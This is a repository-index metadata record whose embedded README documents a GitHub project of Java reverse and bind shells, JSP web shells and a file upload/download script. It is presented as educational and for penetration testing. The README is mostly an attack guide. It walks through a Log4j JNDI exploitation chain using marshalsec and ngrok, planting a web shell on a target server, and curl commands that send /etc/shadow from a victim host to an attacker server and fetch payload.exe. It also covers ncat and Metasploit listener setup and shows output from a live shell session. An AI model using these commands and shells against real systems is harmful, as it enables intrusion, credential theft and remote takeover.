{"id":15374442,"url":"https://github.com/ivan-sincek/java-reverse-tcp","last_synced_at":"2025-08-31T21:43:07.264Z","repository":{"id":107019115,"uuid":"345351156","full_name":"ivan-sincek/java-reverse-tcp","owner":"ivan-sincek","description":"JAR, Java, and JSP shells that work on Linux OS, macOS, and Windows OS.","archived":false,"fork":false,"pushed_at":"2023-04-27T21:18:26.000Z","size":47,"stargazers_count":60,"open_issues_count":1,"forks_count":8,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-04-15T14:07:47.430Z","etag":null,"topics":["bind-shell","bind-tcp","bug-bounty","ethical-hacking","java-8","log4j","networking","offensive-security","penetration-testing","red-team-engagement","reverse-shell","reverse-tcp","security","web","web-penetration-testing","web-shell"],"latest_commit_sha":null,"homepage":"","language":"Java","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ivan-sincek.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2021-03-07T13:16:09.000Z","updated_at":"2025-04-06T14:53:18.000Z","dependencies_parsed_at":null,"dependency_job_id":"72458309-efca-4a62-9246-9bba19d4adbc","html_url":"https://github.com/ivan-sincek/java-reverse-tcp","commit_stats":{"total_commits":1,"total_committers":1,"mean_commits":1.0,"dds":0.0,"last_synced_commit":"3815e5daa227d1aa42f489702cff374adb1517bd"},"previous_names":[],"tags_count":1,"template":false,"template_full_name":null,"purl":"pkg:github/ivan-sincek/java-reverse-tcp","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ivan-sincek%2Fjava-reverse-tcp","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ivan-sincek%2Fjava-reverse-tcp/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ivan-sincek%2Fjava-reverse-tcp/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ivan-sincek%2Fjava-reverse-tcp/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ivan-sincek","download_url":"https://codeload.github.com/ivan-sincek/java-reverse-tcp/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ivan-sincek%2Fjava-reverse-tcp/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":273046461,"owners_count":25036179,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-08-31T02:00:09.071Z","response_time":79,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["bind-shell","bind-tcp","bug-bounty","ethical-hacking","java-8","log4j","networking","offensive-security","penetration-testing","red-team-engagement","reverse-shell","reverse-tcp","security","web","web-penetration-testing","web-shell"],"created_at":"2024-10-01T13:58:48.211Z","updated_at":"2025-08-31T21:43:07.229Z","avatar_url":"https://github.com/ivan-sincek.png","language":"Java","readme":"# Java Reverse TCP\n\nJAR, JSP, and Java files for communicating with a remote host.\n\nRemote host will have a full control over the client and all the underlying system commands.\n\nWorks on Linux OS and macOS with `/bin/sh` and Windows OS with `cmd.exe`. Program will automatically detect an underlying OS.\n\nWorks with both `ncat` and `multi/handler`.\n\nBuilt with JDK v8 on Apache NetBeans IDE v17 (64-bit). All the files require Java SE v8 or greater to run.\n\nJAR and Java files were tested with Java v8 update 282 on Windows 10 Enterprise OS (64-bit) and Kali Linux v2023.1 (64-bit).\n\nJSP scripts were tested on Apache Tomcat Version v7.0.100 on XAMPP for Windows v7.4.3 (64-bit).\n\nMade for educational purposes. I hope it will help!\n\n## Table of Contents\n\n* [JAR Shells](#jar-shells)\n* [Log4j Shells](#log4j-shells)\n* [JSP Shells](#jsp-shells)\n\t* [JSP Reverse Shell](#jsp-reverse-shell)\n\t* [JSP Web Shells](#jsp-web-shells)\n* [JSP File Upload/Download Script](#jsp-file-uploaddownload-script)\n\t* [Case 1: Upload the Script to the Victim’s Server](#case-1-upload-the-script-to-the-victims-server)\n\t* [Case 2: Upload the Script to Your Server](#case-2-upload-the-script-to-your-server)\n* [Set Up a Listener](#set-up-a-listener)\n* [Runtime](#runtime)\n\n## JAR Shells\n\nCheck the source code of JAR files:\n\n* [/src/Reverse Shell/src/reverse/shell/ReverseShell.java](https://github.com/ivan-sincek/java-reverse-tcp/blob/main/src/Reverse%20Shell/src/reverse/shell/ReverseShell.java)\n* [/src/Reverse Shell/src/reverse/shell/BindShell.java](https://github.com/ivan-sincek/java-reverse-tcp/blob/main/src/Bind%20Shell/src/bind/shell/BindShell.java)\n\n---\n\nOpen your preferred console from [/jar/](https://github.com/ivan-sincek/java-reverse-tcp/tree/main/jar) and run the following commands:\n\n```fundamental\njava -jar Reverse_Shell.jar 192.168.8.185 9000\n\njava -jar Bind_Shell.jar 9000\n```\n\n## Log4j Shells\n\nThis PoC was tested on Kali Linux v2021.4 (64-bit).\n\n**Change the IP address and port number inside the source files as necessary.**\n\nOpen your preferred console from [/log4j/](https://github.com/ivan-sincek/java-reverse-tcp/tree/main/log4j) and run the following commands:\n\nCompile the source file:\n\n```fundamental\njavac ReverseShell.java\n```\n\nStart a local web server from the same directory as the compiled class file (i.e. `ReverseShell.class`):\n\n```fundamental\npython3 -m http.server 9090\n\npython3 -m http.server 9090 --directory somedirectory\n```\n\nDownload and build LDAP server:\n\n```bash\napt-update \u0026\u0026 apt-get install maven\n\ngit clone https://github.com/mbechler/marshalsec \u0026\u0026 cd marshalsec \u0026\u0026 mvn clean package -DskipTests \u0026\u0026 cd target\n```\n\nStart a local LDAP server and create a reference to the compiled class file on your local web server:\n\n```fundamental\njava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:9090/#ReverseShell\n```\n\nCredits to the author for [marshalsec](https://github.com/mbechler/marshalsec)!\n\nGive the local LDAP server a public domain with [ngrok](https://ngrok.com):\n\n```fundamental\n./ngrok tcp 1389\n```\n\nBuild the JNDI string (obfuscate it however you like):\n\n```fundamental\n${jndi:ldap://x.tcp.ngrok.io:13337/ReverseShell}\n```\n\n## JSP Shells\n\n### JSP Reverse Shell\n\n**Change the IP address and port number inside the script as necessary.**\n\nCopy [/jsp/jsp_reverse_shell.jsp](https://github.com/ivan-sincek/java-reverse-tcp/blob/main/src/Web%20Shell/web/jsp_reverse_shell.jsp) to your projects's root directory or upload it to your target's web server.\n\nNavigate to the file with your preferred web browser.\n\n### JSP Web Shells\n\nCheck the [simple JSP web shell](https://github.com/ivan-sincek/java-reverse-tcp/blob/main/src/Web%20Shell/web/simple_jsp_web_shell_post.jsp) based on HTTP POST request.\n\nCheck the [simple JSP web shell](https://github.com/ivan-sincek/java-reverse-tcp/blob/main/src/Web%20Shell/web/simple_jsp_web_shell_get.jsp) based on HTTP GET request. You must [URL encode](https://www.urlencoder.org) your commands.\n\n## JSP File Upload/Download Script\n\nCheck the [simple JSP file upload/download script](https://github.com/ivan-sincek/java-reverse-tcp/blob/main/src/Web%20Shell/web/files.jsp) based on HTTP POST request for file upload and HTTP GET request for file download.\n\nWhen downloading a file, you should [URL encode](https://www.urlencoder.org) the file path, and specify name of the output file.\n\n### Case 1: Upload the Script to the Victim’s Server\n\nNavigate to the script on the victim's server with your preferred web browser, or use cURL from you PC.\n\nUpload a file to the victim's server web root directory from your PC:\n\n```fundamental\ncurl -s -k -X POST https://victim.com/files.jsp -F file=@/root/payload.exe\n```\n\nDownload a file from the victim's PC to your PC:\n\n```fundamental\ncurl -s -k -X GET https://victim.com/files.jsp?file=/etc/shadow -o shadow\n```\n\nIf you use reverse shell and you have elevated your initial privileges, this script might not have the same privileges as your shell. To download a certain file, you might need to copy the file to the web root directory and give it necessary read permissions.\n\n### Case 2: Upload the Script to Your Server\n\nFrom your JSP reverse shell, run the following cURL commands.\n\nUpload a file from the victim's PC to your server web root directory:\n\n```fundamental\ncurl -s -k -X POST https://your-server.com/files.jsp -F file=@/etc/shadow\n```\n\nDownload a file from your PC to the victim's PC:\n\n```fundamental\ncurl -s -k -X GET https://your-server.com/files.jsp?file=/root/payload.exe -o payload.exe\n\ncurl -s -k -X GET https://your-server.com/payload.exe -o payload.exe\n```\n\n## Set Up a Listener\n\nTo set up a listener, open your preferred console on Kali Linux and run one of the examples below.\n\nSet up `ncat` listener:\n\n```fundamental\nncat -nvlp 9000\n```\n\nSet up `multi/handler` listener:\n\n```fundamental\nmsfconsole -q\n\nuse exploit/multi/handler\n\nset PAYLOAD windows/shell_reverse_tcp\n\nset LHOST 192.168.8.185\n\nset LPORT 9000\n\nexploit\n```\n\n## Runtime\n\n```fundamental\n┌──(root💀kali)-[~/Desktop]\n└─# ncat -nvlp 9000               \nNcat: Version 7.93 ( https://nmap.org/ncat )\nNcat: Listening on :::9000\nNcat: Listening on 0.0.0.0:9000\nNcat: Connection from 192.168.1.117.\nNcat: Connection from 192.168.1.117:49895.\nMicrosoft Windows [Version 10.0.18363.1556]\n(c) 2019 Microsoft Corporation. All rights reserved.\n\nC:\\Users\\W10\\Desktop\\Reverse Shell\u003ewhoami\ndesktop-4kniu10\\w10\n\nC:\\Users\\W10\\Desktop\\Reverse Shell\u003ever\n\nMicrosoft Windows [Version 10.0.18363.1556]\n\nC:\\Users\\W10\\Desktop\\Reverse Shell\u003e\n```\n","funding_links":[],"categories":[],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fivan-sincek%2Fjava-reverse-tcp","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fivan-sincek%2Fjava-reverse-tcp","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fivan-sincek%2Fjava-reverse-tcp/lists"}